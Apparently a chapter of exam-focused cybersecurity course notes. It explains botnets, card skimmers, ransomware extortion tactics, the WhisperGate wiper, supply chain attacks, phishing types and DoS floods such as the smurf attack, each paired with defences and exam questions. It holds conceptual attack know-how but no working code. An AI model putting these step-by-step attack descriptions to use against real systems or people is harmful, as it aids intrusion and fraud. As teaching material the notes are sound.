- Michelangelo virus: spread on shared floppy disks by infecting the MBR, then hid until 6 March, the birthday of the famous Italian artist Michelangelo Buonarroti. On that date it reformatted the hard drive and destroyed all its data.
- Insider logic bombs: a disgruntled administrator can plant code that deletes data if their account is ever disabled, which is why code changes by departing staff are reviewed (chapter 7).
How a botnet is built, in the four stages of the deck's figure, which puts the cybercriminal (the botmaster) at the centre, the infected machine (bot or zombie) above, and the command and control server beside them:
- Infection: malware is spread through spam email, infected websites and social media posts.
- Connection: each infected machine calls home to the C2 server and waits.
- Control: the botmaster sends commands through the C2 server to every bot at once.
- Multiplication: the bots infect more machines, and the botnet grows.
- Architecture: a centralised C2 (web or IRC servers) is simple but has a single point of failure: take the server down and the botnet is headless. In a peer-to-peer (P2P) botnet the bots pass commands among themselves, which is far harder to dismantle.
- Uses: DDoS attacks, spam and phishing, data theft, click fraud, cryptocurrency mining, and access to the device and its connection. Mirai (2016) enslaved IoT cameras and routers that still had their factory default passwords, and used them to flood the DNS provider Dyn, taking major websites offline.
- Why attackers want one: thousands of real machines give bandwidth no single attacker could buy, from legitimate-looking addresses all over the world that no one filter can block.
The deck's two 2020 botnets both mine cryptocurrency, Monero (XMR), with the victims' processors and electricity, so the botmaster earns while the victims pay:
- Prometei (July 2020), a new cryptocurrency-mining botnet attack: uses varied techniques to spread and compromise Windows systems and stealthily mine Monero. It moves laterally across the network with SMB and stolen credentials, PsExec, WMI and SMB exploits.
- FritzFrog (August 2020), a P2P botnet malware: breaks into SSH servers by guessing their passwords, runs filelessly in memory, and has no central C2 server at all: each bot passes commands and files to its peers over FritzFrog's own peer-to-peer protocol. On each victim it plants an SSH key as a back door and runs a Monero miner. Taking down one server ends nothing, which is the point of the P2P design.
Spyware and adware make money from the user:
- Spyware monitors the user's actions and sends the details to a remote system. It may wait for a banking login and transmit the username and password, or capture a card number typed on a shopping site for resale on the black market. Keyloggers and screen grabbers are spyware.
- Adware displays advertisements: at its simplest, pop-ups while browsing; nastier versions monitor shopping behaviour and redirect the user to competitors' websites.
- Adware's motive is advertising revenue: its makers are paid for every advert shown, clicked or page viewed, so the more screens it hijacks, the more it earns. The Xbox Trojan (2.1) existed for exactly that money.
To remember spyware: a free torch app has no reason to read your SMS, where the bank's OTPs arrive. When it asks for that permission, the payload is showing.
Taidoor spies for a state rather than for money: a malware variant, a remote access Trojan, used by a Chinese APT for cyber espionage on governments, corporations and think tanks. US Cyber Command says it has been infecting systems since 2008.
MageCart names highly targeted groups of attackers who place digital credit card skimmers on e-commerce sites: JavaScript that intercepts the cardholder's name, address, card number, CVV and expiry date, records that are sold on in underground credit card shops. The name comes from Magento, the open source shop platform the first gangs targeted. The deck's figure runs in five steps:
- Penetrate: the attacker breaks into the target's e-commerce server, directly or indirectly through a supplier, and incorporates a malicious script.
- Distribute: the e-commerce service provider's own servers now send the script to every user, inside the front-end website.
- Shop: users interact with the site as usual and proceed to checkout.
- Scrape: the script scrapes the payment details as they are typed and sends them to the attacker's server.
- Collect: the attacker consolidates and retrieves the card records, ready to sell.
Nothing breaks for the shopper, so a skimmer can run for months. The deck's bar chart plots a number of days for each of nine victims: about 15 at British Airways, about 30 at Forbes and Newegg, about 60 at Delta, Sears and Topps, about 210 at Procter & Gamble, about 270 at Ticketmaster and about 730, two years, at OXO. The chart carries no title; the days are most likely how long each skimmer ran before it was found (British Airways' is known to have run from 21 August to 5 September 2018, the chart's first bar).
The way in is step 1, and the deck sets one flaw beside the case:
| CVE ID | Severity level | CVSS3 base score | Vulnerability |
|---|---|---|---|
| CVE-2016-4010 | Critical | 9.8 | Magento multiple remote security vulnerabilities |
It let a remote attacker with no login run PHP code on a Magento shop's server by sending crafted, serialised shopping cart data (insecure deserialisation, fixed in Magento 2.0.6): exactly the foothold step 1 needs, so an unpatched shop is an open door. The indirect road is a compromised third-party script: Ticketmaster's skimmer (2018) arrived through a supplier's chat widget. How to read a CVE row is on the zero-day card.
- Explain logic bombs, botnets, spyware and adware, with an example of each. How is a botnet built and controlled, and why is it the attacker's tool of choice for DDoS attacks? Predicted, ch 2 Q4 · 6+4
Ransomware, RaaS and the extortion ladder HOT 1/4
82 Bh10
A digital world pandemic, the deck calls it. Ransomware is big business and one of the most feared and pressing concerns of any organisation: it can cost a company millions of dollars and greatly damages its reputation and reliability. Its operators are notorious and ruthless. Even during the COVID-19 pandemic there was a massive surge in ransomware attacks, and attackers deliberately targeted healthcare providers among other businesses.
How it evolved. Over the years ransomware has evolved dramatically, in attack sophistication and in exploitation techniques, because criminals keep innovating new and advanced tactics and strategies. It has evolved significantly from simple attacks: the tactics moved from a single point of leverage, the encrypted files, to multiple compounding threats, each one adding increasing pressure on victims. The extortion ladder below is that evolution.
The attack chain in the deck: the attacker gains access to the victim's network, deletes all shadow copies (the Windows snapshots a victim could restore from), encrypts the data and makes the ransom demand. If the demand is met, the victim will likely get the data back: a possibility, not a guarantee. If the demand is not met, the result is loss of data, unless there is a backup or a decryptor is found.
Delivery: malicious attachments, drive-by downloads, and persuading users to download and install software; the large gangs also buy or steal remote access (RDP, VPN) and exploit unpatched internet-facing servers. Families the deck names: WannaCry, Petya and NotPetya, EvilQuest (a 2020 macOS ransomware) and Ryuk.
Why it is big business, in the deck's figures:
- Cost: $8 billion in 2018, $11.5 billion in 2019, $20 billion in 2020; the deck's own update puts it at $57 billion to $74 billion for 2026.
- Payments: the average rose from $312,000 in 2020 to $570,000 in the first half of 2021, up 82%; the deck's 2026 update gives about $5 million, and about $10 million as the US average.
- Demands: the average reached $5.3 million in the first half of 2021, 518% up on 2020's $847,000, and the deck puts 2026 at around the same.
The deck's ransomware statistics, three survey years side by side (per cent of organisations):
| Measure | 2023 | 2024 | 2025 |
|---|---|---|---|
| Affected by ransomware | 66.1 | 69.8 | 73.4 |
| Of those affected: paid the ransom | 58.3 | 60.1 | 62.7 |
| Of those affected: did not pay | 41.7 | 39.9 | 37.3 |
| Of those that paid: recovered data | 67.8 | 69.0 | 71.2 |
| Of those that paid: lost data | 32.2 | 31.0 | 28.8 |
| Of those that did not pay: recovered data | 85.1 | 86.5 | 87.9 |
| Of those that did not pay: lost data | 14.9 | 13.5 | 12.1 |
Reading the table: every year more organisations were hit and more of those paid, yet more than a quarter of payers still lost data, while about seven in eight of those who refused got their data back another way, from backups or a decryptor. Paying buys no certainty. Part of the gap is likely selection: an organisation with tested backups has less reason to pay in the first place.
Ransomware as a Service (RaaS) runs ransomware as a franchise, giving a less-experienced criminal everything needed to launch an attack:
- Operators write and maintain the malware, the payment and negotiation portals and the leak site.
- Affiliates break into victims and deploy it; each ransom is split between the two.
- Why it spread: it separates the skill of writing reliable crypto malware from the scale of breaking into many networks, so attacks multiplied.
- RaaS developers named on underground forums, per the deck: Ryuk, REvil, RainMaker Labs, GandCrab, Sodinokibi and Jokeroo.
| Rung | Lever added | Why it was added |
|---|---|---|
| Single extortion | Encrypt the data, after deleting the shadow copies | The original model; a victim with tested offline backups simply restores |
| Double extortion | Exfiltrate sensitive data before encrypting, then leak parts of it on the public or dark web and raise the demand | Backups alone become an insufficient defence: a restored victim still faces a public breach, regulators and lawsuits. The Maze gang popularised it in late 2019 |
| Triple extortion | Launch a DDoS attack against the organisation | Keeps the victim offline and in crisis while it decides |
| Quadruple extortion | Contact the victim's customers, users and partners directly (the class notes call this lever harassment) | Turns the victim's own stakeholders into the pressure |
The deck draws each rung as a flowchart, the same boxes every time with one lever added:
- Single extortion: the attacker gains access into the victim's network, deletes all shadow copies, then encrypts the data and makes the ransom demand. Not met: loss of data, if no backup or decryptor is found. Met: the victim will likely get the data back, not a guarantee but a possibility.
- Double extortion ransomware: the attacker gains access, exfiltrates sensitive data before encryption, then encrypts the data and makes the ransom demand. If it is not met, the attackers leak parts of the sensitive data on the public or dark web and may increase the ransom demand, and the arrow loops back to the demand.
- Triple extortion ransomware: the attacker gains access and does all of that; after the leak, the "not met" branch also launches a DDoS attack against the organisation, then loops back to the demand.
- Quadruple extortion ransomware: the attacker gains access and does all of that; the "not met" branch now contacts the users and customers of the targeted organisation to put pressure on it, and loops back once more.
The loop is the lesson: every refusal brings the next lever, until the demand is met or the victim has nothing left to lose. The deck's summary figure (Trend Micro's, 2021) draws the same four phases of ransomware extortion as nested circles: single extortion (encryption) at the core, then double (exfiltration), triple (DDoS) and quadruple (direct communication with customers and stakeholders), each ring enclosing the ones inside it. The class notes sum up the four the same way: encryption; then encryption plus exfiltration; then those plus DDoS; then all three plus harassment.
To remember the ladder: picture a gang holding a shop to ransom. First it padlocks the shutter (single: encryption); then it also threatens to paste the owner's account books on the market wall (double: the leak); then it blocks the road so no customer can reach the shop (triple: the DDoS); then it phones the shop's customers and suppliers itself (quadruple). Each rung keeps the ones below it.
Not every ransom note wants money: the Ukraine MBR wiper. In January 2022 Microsoft published a blog post on destructive malware aimed at Ukrainian organisations, tracked as DEV-0586 (now Cadet Blizzard) and widely called WhisperGate. Microsoft and CISA recommended that all organisations conduct threat hunting exercises (chapter 3) and put defences in place to tackle the threat early.
- Stage 1, overwrite the master boot record to display a fake ransom note:
stage1.exe, found in working directories such asC:\PerfLogs,C:\ProgramData,C:\andC:\temp, overwrote the MBR with a note demanding $10,000 in bitcoin, and ran when the device was powered down. - Stage 2, the file corrupter:
stage2.exeis a downloader whose hardcoded link fetched the next stage from a Discord channel. Running in memory, the corrupter located files in certain directories with any of a long list of target extensions, among them documents (.doc,.docx,.xls,.pdf), source code (.cpp,.java,.php), databases (.sql,.mdb), archives and backups (.zip,.7z,.bak), virtual machine disks (.vmdk,.vhd) and keys and certificates (.key,.pem), and overwrote their contents with a fixed number of0xCCbytes. - The tells: the same payload hit many victims, where real ransomware is customised per victim; there was no recovery mechanism at all; the amount and wallet were spelled out, which modern gangs rarely do; and the only contact was a Tox ID.
It was a wiper wearing a ransomware mask: a warning that paying guarantees nothing.
- Discuss the evolution of ransom ware from simple encryption malware to different extortion techniques. Support your answer with examples. 2082 Bhadra Q2 · 10
- Define Ransomware-as-a-Service (RaaS) and explain its business model. Describe the evolution of ransomware tactics from 'single extortion' (encryption) to 'double' (exfiltration) and 'triple' (DDoS) extortion. Notes prediction, ch 2 Q4 · 2+6
Ransomware in practice: the Ryuk chain, prevention and recovery PREDICTED
Big-game ransomware is the last stage of a longer intrusion. The deck's Ryuk figure shows the chain, and every link is a place to break it:
| Step | What happens | Where it can be stopped |
|---|---|---|
| 1 | A phishing email carries a weaponised Word document | Email filtering, attachment sandboxing, awareness training |
| 2 | A macro in the document launches PowerShell from the command line | Block macros from the internet, constrain PowerShell, EDR watching the process chain |
| 3 | PowerShell downloads Emotet | Web proxy and DNS filtering, application allowlisting |
| 4 | Emotet grabs and deploys more payloads, often TrickBot | EDR, network segmentation |
| 5 | TrickBot disables antivirus services, harvests data and steals credentials | Tamper protection, credential protection, least privilege |
| 6 | The C2 server drops the final payload, Ryuk, which encrypts the network | Offline backups, segmentation, incident response |
Prevention, the deck's checklist. It is built on the US HIPAA Security Rule, hence its references to ePHI (electronic protected health information) and business associate agreements:
- Security awareness and training: processes to detect and guard against malicious software, and a workforce trained to detect and report it.
- Risk analysis: identify the risks and vulnerabilities to the confidentiality, integrity and availability of all ePHI the organisation creates, receives, keeps or sends (chapter 1).
- Risk management: security measures that reduce those risks to a reasonable and appropriate level.
- Access controls: rights granted are never excessive (least privilege), so one compromised account cannot reach every file.
- Business associate agreements: who prevents, manages and reports incidents when a partner holds the data.
- The technical basics on top: patch internet-facing systems, MFA on all remote access, no RDP exposed to the internet, EDR, and application allowlisting.
Recovery rests on the contingency plan:
- Data backup plan: follow the 3-2-1 rule (three copies, on two kinds of media, one off site) and keep one copy offline or immutable, because ransomware deletes shadow copies and encrypts every backup it can reach.
- Disaster recovery and emergency operations mode plans: how essential services keep running while systems are rebuilt.
- Testing and revision: test restorations prove the backed-up data is intact and can be restored; test the contingency plans; revise any part the tests show would fail. An untested backup is a hope, not a control.
- Application and data criticality analysis: every critical application and data set is in the plan, in restore order.
To remember 3-2-1: keep data the way a careful family keeps a citizenship certificate: the original at home, a photocopy with a relative in another city, and a scan on a pen drive in the drawer. That is three copies, on two kinds of media, one off site, and the pen drive, unplugged, is the offline copy ransomware cannot reach.
Handling the incident, the deck's recovery steps, which are the incident response cycle of chapter 6 (NIST SP 800-61):
- Prepare teams and activities ahead of time.
- Detect and analyse: the scope; the origin (who, what, where, when); whether it is still going on; how it happened.
- Contain the impact and the spread.
- Eradicate the malware and the vulnerabilities that let it in.
- Recover the lost data and return to business as usual.
- Post-incident work, including regulatory and contractual reporting.
To pay or not. Paying funds the next attack, may break sanctions law where the gang is sanctioned, and buys no certainty: in the deck's 2025 figures more than a quarter of payers still lost data. The decision belongs to management with legal advice, which is why it is written into the incident plan before the day comes.
- A hospital's staff receive a phishing email whose Word attachment starts an infection that ends in Ryuk ransomware. Trace the attack chain from the email to encryption, and explain the preventive and recovery measures that would have limited the damage. Predicted, ch 2 Q5 · 4+6
2.2Methods of malware propagation
How malware spreads: the propagation routes PREDICTED
| Route | How it works | Example | Control |
|---|---|---|---|
| Email attachments and links | A document with a macro, an executable in disguise, or a link to a malicious site | Melissa, Emotet, the Ryuk chain | Attachment filtering and sandboxing, macro blocking, awareness |
| Drive-by downloads and malvertising | Visiting a compromised site, or seeing a poisoned advert, exploits the browser and installs malware with no file opened on purpose | Ransomware's drive-by delivery in the deck | Patched browsers, web filtering, script blocking |
| Removable media | Infected USB drives and, earlier, floppy disks: boot sector viruses load at boot, and autorun once ran code on insertion | Michelangelo, Stuxnet | Autorun disabled, media controls, scanning before use |
| Vulnerable network services | A worm exploits a flaw in an exposed service and copies itself on, with no human needed | Morris (sendmail, finger), Code Red (IIS), WannaCry (SMBv1) | Patching, closing unused services, segmentation |
| Weak, default or stolen credentials | The malware logs in like a legitimate user, with a guessed, factory default or stolen password | Morris's password guessing, Mirai's default IoT passwords, Stuxnet's default database password | Strong unique passwords, MFA, defaults changed |
| Shared folders and admin tools | Inside a network, malware copies itself to open administrative shares and runs remotely with admin tools: lateral movement | Stuxnet (admin shares), Prometei (SMB, PsExec, WMI) | Least privilege, host firewalls, monitoring admin tool use |
| Trojanised software and updates | The malware rides inside software the victim trusts: cracked software, fake apps, or a vendor's own signed update | Rogue antivirus, SolarWinds SUNBURST | Trusted sources, signature checks, vendor risk management |
| File sharing, messaging, social media | Infected files and links passed from person to person | The botnet infection stage (spam, social media posts) | Awareness, filtering |
To remember the two groups: a mosquito gets into a room in one of two ways. Either someone opens the door for it (a link clicked, an attachment opened, a pen drive plugged in), or it finds a tear in the net that nobody has to touch (an unpatched service, a default password, an open share).
The route is what separates the families (virus, worm, Trojan): a virus spreads by host files and human action, a worm by services and credentials, a Trojan by persuasion.
Modern campaigns chain routes. Stuxnet arrived on USB drives, then spread through open network shares, zero-days in the Windows Server and Print Spooler services, and a default database password. The Ryuk chain begins with an email, then moves through the network with stolen credentials.
Infection and propagation are different moments. Infection is the first foothold; propagation is everything after it, and inside a network it is called lateral movement, a stage of the kill chain and a tactic in MITRE ATT&CK.
- What is a computer worm? Explain how the Morris worm and Code Red spread. Describe the common methods of malware propagation, with an example of each. Predicted, ch 2 Q3 · 4+6
Advanced persistent threats PREDICTED
| Letter | The deck's meaning | In practice |
|---|---|---|
| A: Advanced | Targeted, coordinated, purposeful | Custom tools, zero-days, careful tradecraft |
| P: Persistent | Month after month, year after year | Back doors, stolen credentials, quiet presence |
| T: Threat | Person or persons with intent, opportunity and capability | A funded team with a mission, not an automated worm |
The APT lifecycle is a wheel of twelve stages in the deck, which fall into three phases:
- Preparation: 1 define the target; 2 find and organise accomplices; 3 build or acquire tools; 4 research the target; 5 test for detection.
- Intrusion: 6 deployment; 7 initial intrusion; 8 outbound connection initiated (to the C2 server); 9 expand access and obtain credentials; 10 strengthen the foothold.
- Mission: 11 exfiltrate data; 12 cover tracks and remain undetected, which loops back to the next objective.
The lifecycle is the kill chain stretched out (chapter 3): researching the target is reconnaissance, building tools is weaponisation, deployment and initial intrusion are delivery, exploitation and installation, the outbound connection is command and control, and stages 9 to 12 are actions on objectives.
| Point | APT | Commodity malware |
|---|---|---|
| Target | A chosen organisation | Anyone vulnerable |
| Goal | Espionage, sabotage, long-term access | Quick money: ransom, spam, mining |
| Time inside | Months or years | Minutes to days |
| Tools | Custom malware, zero-days, the victim's own admin tools | Public kits |
| Noise | Quiet, blends into normal activity | Noisy, mass scanning |
To remember the difference: a bag snatcher on a motorbike grabs whatever is in reach and is gone in seconds: commodity malware. An APT is the thief who rents the room next door, studies the household's routine for months, copies a key, and takes things a little at a time while no one notices.
Groups met in this chapter:
- Taidoor: a remote access Trojan of a Chinese APT, in use since 2008.
- APT28: a Russian military intelligence group, behind the LoJax UEFI rootkit (2.8).
- APT29: the Russian foreign intelligence group behind the SolarWinds compromise.
- HAFNIUM: the group behind the 2021 Exchange zero-days.
- DEV-0586 (Cadet Blizzard): the 2022 wiper against Ukraine (2.1).
Why they are hard to catch: they use valid credentials and the victim's own administration tools, move slowly and clean up after themselves, so signatures rarely fire. Defenders answer with threat hunting on the assume-breach principle (chapter 3), egress monitoring for the outbound connection, and behaviour analytics (chapter 5). State APTs are also the soldiers of cyber warfare (chapter 1).
- What is an Advanced Persistent Threat (APT), and how does it progress through its lifecycle? Explain supply chain compromise with reference to the SolarWinds SUNBURST attack and Stuxnet. Predicted, ch 2 Q6 · 4+6
Supply chain compromise: SolarWinds and Stuxnet PREDICTED
Why it works: customers install signed updates from their vendors automatically and give monitoring tools wide privileges. One breach at the supplier becomes thousands downstream, and the malicious code arrives with a valid signature.
To remember it: poisoning one customer's tea takes one cup; poisoning the dairy's milk at the collection centre reaches every household that trusts the brand, with the seal on every packet intact. The signed update is the sealed packet.
SolarWinds. On 13 December 2020 FireEye published a highly evasive intrusion campaign that used the SolarWinds supply chain to reach public and private organisations worldwide. The attacker had got into SolarWinds' build system and inserted a back door named SUNBURST (Microsoft called it Solorigate) into Orion, its IT monitoring and management software.
| Date | Event, from the deck's timeline |
|---|---|
| 4 Sep 2019 | The threat actor accessed SolarWinds |
| 12 Sep to 4 Nov 2019 | Test code injected and a trial run |
| 20 Feb 2020 | SUNBURST compiled and deployed |
| Mar to May 2020 | Trojanised, digitally signed updates released (Hotfix 5 on 26 March) |
| 4 Jun 2020 | The actor removed its malware from the build machines |
| 12 Dec 2020 | SolarWinds notified of SUNBURST |
| 14 to 17 Dec 2020 | SolarWinds files an 8-K report with the US Securities and Exchange Commission and notifies shareholders and customers (14th), releases a software fix (15th); US-CERT alert issued (17th) |
| 11 Jan 2021 | Findings on SUNSPOT, the build-server implant that inserted SUNBURST |
- Reach: more than 300,000 SolarWinds customers, including over 425 of the US Fortune 500, all ten top US telecoms companies, all branches of the US military, US accounting firms, the Pentagon, State Department, NASA, NSA, Postal Service, NOAA, Department of Justice and the Office of the President. SolarWinds said fewer than 18,000 installed the trojanised update; the attackers then exploited a small number by hand. SolarWinds called it a narrow, extremely targeted, manually executed attack, likely by an outside nation state.
- Stealth: SUNBURST stayed dormant for up to two weeks before calling home, disguised its traffic as Orion's own, and used DNS to reach its C2.
- Attribution: the US government attributed it in April 2021 to Russia's foreign intelligence service (SVR), the group tracked as APT29.
Stuxnet (found in 2010) was a worm originally aimed at Iran's nuclear facilities. It attacked programmable logic controllers (PLCs), the small industrial computers used to automate machine processes, here the Siemens PLCs that ran the uranium enrichment centrifuges at Natanz. The deck calls it the first known virus capable of crippling hardware: it caused substantial damage to Iran's nuclear programme and is reported to have destroyed around a thousand centrifuges. The deck adds that it has since mutated and spread to other industrial and energy-producing facilities. Its six steps:
- Infection: enters on a USB stick and infects Windows machines, carrying digital certificates that seem to come from reliable companies, to evade automated detection.
- Search: checks whether the machine is part of the targeted Siemens industrial control system.
- Update: if not a target, it does nothing; if it is, it tries to reach the internet for a newer version of itself.
- Compromise: exploits zero-day vulnerabilities to compromise the logic controllers.
- Control: spies on the system first, then drives the centrifuges to spin themselves to failure.
- Deceive and destroy: feeds normal-looking readings to the operators, so no one sees the damage until it is too late.
Its propagation, per the deck: unprotected administrative shares on the local network; zero-days in the Windows Server service and Print Spooler service; a default database password; and shared infected USB drives. It was uncovered in 2010 but is thought to have been in development since 2005.
Defences: vendor risk assessment and a software bill of materials; a secured build pipeline; least privilege and segmentation for monitoring tools (Orion had no need to reach the internet); egress monitoring and DNS analytics that would see a server calling an unknown domain; and for industrial systems, strict removable media control and monitoring of controller logic. Both cases are cyber warfare in the sense of chapter 1.
- What is an Advanced Persistent Threat (APT), and how does it progress through its lifecycle? Explain supply chain compromise with reference to the SolarWinds SUNBURST attack and Stuxnet. Predicted, ch 2 Q6 · 4+6
2.3Social engineering attacks
Social engineering and phishing PREDICTED
Why it works: it attacks the one component that patches cannot fix, and it is one of the most effective tools attackers have for gaining access. Phishing messages are becoming increasingly sophisticated, designed to closely resemble legitimate communications.
The levers are few: authority (the boss, the bank, IT), urgency (pay within 24 hours), fear (your account is locked), trust and familiarity (a known brand or colleague), and curiosity or greed (a prize, a parcel).
| Type | Channel | What makes it different |
|---|---|---|
| Phishing | Mass messages that closely resemble legitimate communication, to harvest credentials or deliver malware | |
| Spear phishing | Aimed at one person or team, based on the attacker's research, with personal details that make it look authentic | |
| Whaling | Spear phishing aimed at high-value targets such as senior executives; often a fake invoice or payment order | |
| Vishing | Voice | Phishing over the telephone or voice messages: the caller poses as a bank, IT support or an official |
| Smishing | SMS | Phishing by text message, with a short link and little of the sender to inspect |
| Quishing | QR code | The link hides in a QR code in an email, a poster or a sticker; the reader cannot see the destination, filters that read links often miss an image, and the scan moves the victim onto a personal phone outside company controls |
| Pretexting | Any | An invented scenario (an auditor, a new hire, a courier) that justifies the request |
| Baiting | Physical or online | A tempting item: an infected USB drive left in the car park, a free download |
| Tailgating | Physical | Following an authorised person through a secure door |
| Dumpster diving | Physical | Rummaging through the target's rubbish for sensitive papers and media |
Answers: the ten social engineering types in the table above, in its order.
How it decodes: ten words, ten types, initials in order: the headmaster drank a quarter along with whisky and vodka, got tired on the bus and keeled over. The words fall in the table's groups: the email three (Pradhan, Sir, Whisky), the other channels (Vodka, Sanga, Quarter: voice, SMS, QR), then pretexting and the three that are mostly physical. Two P's: Pradhan is phishing, Piyera pretexting. Two S's: Sir is spear phishing, Sanga smishing.
- PPradhan Phishing: mass email that looks legitimate
- SSir Spear phishing: one target, researched first
- WWhisky Whaling: spear phishing aimed at an executive
- VVodka Vishing: by voice call
- SSanga Smishing: by SMS
- QQuarter Quishing: by QR code
- PPiyera Pretexting: an invented story behind the request
- BBusma Baiting: an infected pen drive left lying, on a bus seat, say
- TThakera Tailgating: through the secure door behind someone
- DDhalkiyo Dumpster diving: through the rubbish
Reading a phishing email, the deck's user story: Bob in Finance at xyz company receives an email supposedly from AWS Inc., claiming an urgent invoice payment: invoice AWS2134, attached, is past due, and he must log in to his AWS Inc. account within 24 hours to pay. Six indicators give it away:
- Urgency: the subject Urgent: August Invoice for AWS Cloud storage, and a demand to log in and pay within 24 hours.
- A look-alike sender:
AWS ACCOUNT <fredo@aawsinc[.]com>, claiming to be an admin but sent from a look-alike address with a doubled a. - A strange link: the Log in link leads to
http://aawsinc.com/, not the real site. - A suspicious support link:
http://aawsinc.com/support, plain HTTP on the same fake domain. - Outside business hours: dated Saturday, 5 September 2020, 9 pm, when no one is around to check.
- An unexpected attachment:
Invoice_August_AWS2134.docx, an Office file from an unexpected source, which may carry a macro. The generic Dear Valued Customer is a seventh.
Countermeasures. The deck names education and training; a SOC adds technical backing:
- Awareness and simulation: regular training and simulated phishing (the course's phishing lab), and a one-click way to report a suspicious message.
- Email authentication and filtering: SPF, DKIM and DMARC reject mail that spoofs the organisation's own domain; filters flag look-alike domains, sandbox attachments and rewrite links.
- A second channel: a payment or password request is confirmed by calling a known number, never the one in the message.
- Phishing-resistant MFA (FIDO2 security keys, passkeys), so a harvested password is not enough (chapter 1).
- Physical controls: badges, anti-tailgating doors, a clean desk policy and shredding against dumpster diving.
Why training comes first: the deck's barrier chart. Right after "education, trainings" the deck shows the Cyber Defense Report 2025's ranking of the barriers organisations face in defending themselves, each with an average score (higher is a bigger barrier). Low security awareness among employees ties for first place:
| Barrier to effective defence | Score |
|---|---|
| Lack of skilled personnel | 3.55 |
| Low security awareness among employees | 3.55 |
| Too much data to analyse | 3.44 |
| Poor or insufficient automation of threat detection and response processes | 3.42 |
| Lack of contextual information from security tools | 3.41 |
| The same label printed a second time (one bar is mislabelled on the slide) | 3.40 |
| Poor integration or interoperability between security solutions | 3.39 |
| Lack of management support or awareness | 3.36 |
| Too many false positives | 3.36 |
| Lack of effective solutions available in the market | 3.34 |
| Lack of budget | 3.30 |
Read it as two groups. People come first: skilled staff are scarce and ordinary staff are the target. Next come data and tools: too much data, too little automation and context, poor integration and too many false positives are exactly the problems the SIEM, SOAR and XDR were built to solve (chapter 4, chapter 5). Budget comes last.
In Nepal the everyday forms are vishing and smishing: a call or message posing as a bank, a digital wallet or a telecom company asks for an OTP or a PIN, and Nepal Police's Cyber Bureau regularly warns the public about such fraud. A typical text, made up here but true to type: Dear customer, your wallet will be blocked within 24 hours. Complete your KYC now, then a short link to a look-alike login page. Authority, urgency and fear: three levers in one SMS.
- Define social engineering and describe two specific types, such as spear phishing and vishing. What is a Zero-Day vulnerability, and why is it particularly dangerous for organizations? Notes prediction, ch 2 Q6 · 4+4
- Explain phishing, whaling, smishing and quishing. List the indicators that expose a phishing email, and the countermeasures an organization should adopt against social engineering. Predicted, ch 2 Q7 · 4+6
2.4Denial of service
DoS, DDoS and the flood attacks PREDICTED
The primary difference between DoS and DDoS is the number of sources. A distributed denial of service happens when many systems attack a single system at the same time: a group of attackers launching coordinated attacks, or, most commonly, the bots of a botnet (2.1). With one source, filtering that address ends the attack; with thousands of bots all over the world, the traffic looks legitimate and the combined bandwidth can exceed anything the victim has. In 2018 GitHub absorbed a 1.35 Tbps flood built by memcached amplification.
| Point | DoS | DDoS | DRDoS |
|---|---|---|---|
| Sources | One attacking system | Many systems at once, usually a botnet | Innocent third-party servers that reflect the traffic |
| Volume | Limited by one machine's link | The sum of thousands of links | Amplified: replies larger or more numerous than requests |
| Blocking | Block one source address | No single address to block | The reflectors are legitimate servers |
| Attacker hidden | Partly | Behind the bots | Behind spoofed requests and the reflectors |
| Example | A ping flood from one host | Mirai against Dyn (2016) | Smurf, DNS and memcached amplification |
To remember the family: one prankster ringing the college office non-stop is a DoS, and blocking his number ends it. A thousand people ringing at once is a DDoS, with no single number to block. A smurf is the prankster texting the whole class "call this number back now" with the office's number as the call-back: every reply lands on the office, reflection and amplification at once.
A distributed reflective DoS (DRDoS) does not attack the victim directly: it manipulates traffic or a network service so the attack is reflected back to the victim from other sources, hiding the attacker and often multiplying the volume.
Ping, the tool the smurf abuses, uses the Internet Control Message Protocol (ICMP) to check connectivity with remote systems: normally it sends an echo request to a single system, and that system answers with an echo reply. A smurf attack is a flood attack that floods the victim with ICMP echo packets instead of TCP SYN packets: a spoofed broadcast ping that uses the victim's IP address as its source. How it works, step by step:
- Craft the packet: the attacker builds an ICMP echo request (a ping), with the victim's IP address forged as the source.
- Broadcast: it is sent to the broadcast address of an amplifier network, so one packet reaches every host there, where a normal ping reaches one system.
- Reply: every host answers with an echo reply to the source address, which is the victim.
- Flood: one request becomes as many replies as there are hosts, up to 254 on a /24 network; the victim's link fills and real traffic is lost.
| Flood | Protocol | How it works |
|---|---|---|
| Smurf | ICMP | A spoofed broadcast ping, as above; it floods with ICMP echo packets instead of TCP SYN packets |
| Fraggle | UDP, ports 7 (echo) and 19 (chargen) | The smurf idea over UDP: a broadcast UDP packet with the victim's spoofed address, and every system replies to the victim |
| Ping flood | ICMP | Floods the victim with echo requests; from tens of thousands of zombies at once, the victim has no time left to answer legitimate requests |
| SYN flood | TCP | SYN packets that never complete the three-way handshake; the half-open connections fill the victim's connection table |
| Application layer | HTTP | Many costly requests (an HTTP flood), or slow partial requests that hold connections open (Slowloris), exhaust the server rather than the link |
Mitigation:
- Stop the amplifiers: routers drop directed broadcasts (the default since RFC 2644 in 1999) and hosts ignore broadcast pings; this is what ended smurf and fraggle.
- Stop the spoofing: ingress filtering (BCP 38) drops packets whose source address could not come from that network (2.11).
- Absorb and filter: rate limiting and traffic filtering, which the course's DDoS lab practises against the LOIC tool; SYN cookies; upstream scrubbing services, CDNs and anycast that spread the load.
- Detect and prepare: IDSs detect many DoS and DDoS attacks (2.4), and a runbook says who calls the ISP.
- Explain the primary difference between a Denial of Service (DoS) and a Distributed Denial of Service (DDoS) attack. Describe how a Smurf Attack works by using spoofed IP addresses and ICMP broadcast requests to overwhelm a victim. Notes prediction, ch 2 Q8 · 3+5
IDS and IPS: detecting and blocking attacks PREDICTED
| Point | IDS | IPS |
|---|---|---|
| Position | Passive: watches a copy of the traffic (a span port or tap) or host logs | Inline: traffic passes through it |
| Action | Alerts (a passive response); some can reconfigure a firewall (an active response) | Drops packets, resets connections, blocks sources |
| Cost of a false alarm | An analyst's time | Real users blocked |
| If it fails | Traffic flows on unwatched | Fail open or fail closed must be chosen |
| Examples | Snort or Suricata in IDS mode; host agents such as OSSEC or Wazuh | Snort or Suricata inline; next-generation firewalls |
The two ways of deciding, from the deck:
| Method | How it decides | Strength | Weakness |
|---|---|---|---|
| Knowledge-based (signature) | Matches traffic or events against a database of known attack patterns | Few false alarms; names the attack precisely | Blind to new attacks and zero-days until a signature exists |
| Behavior-based (anomaly, heuristic) | Learns a baseline of normal behaviour and flags deviations from it | Can catch unknown attacks, zero-days and floods | The deck's primary drawback: a high number of false alarms; needs tuning |
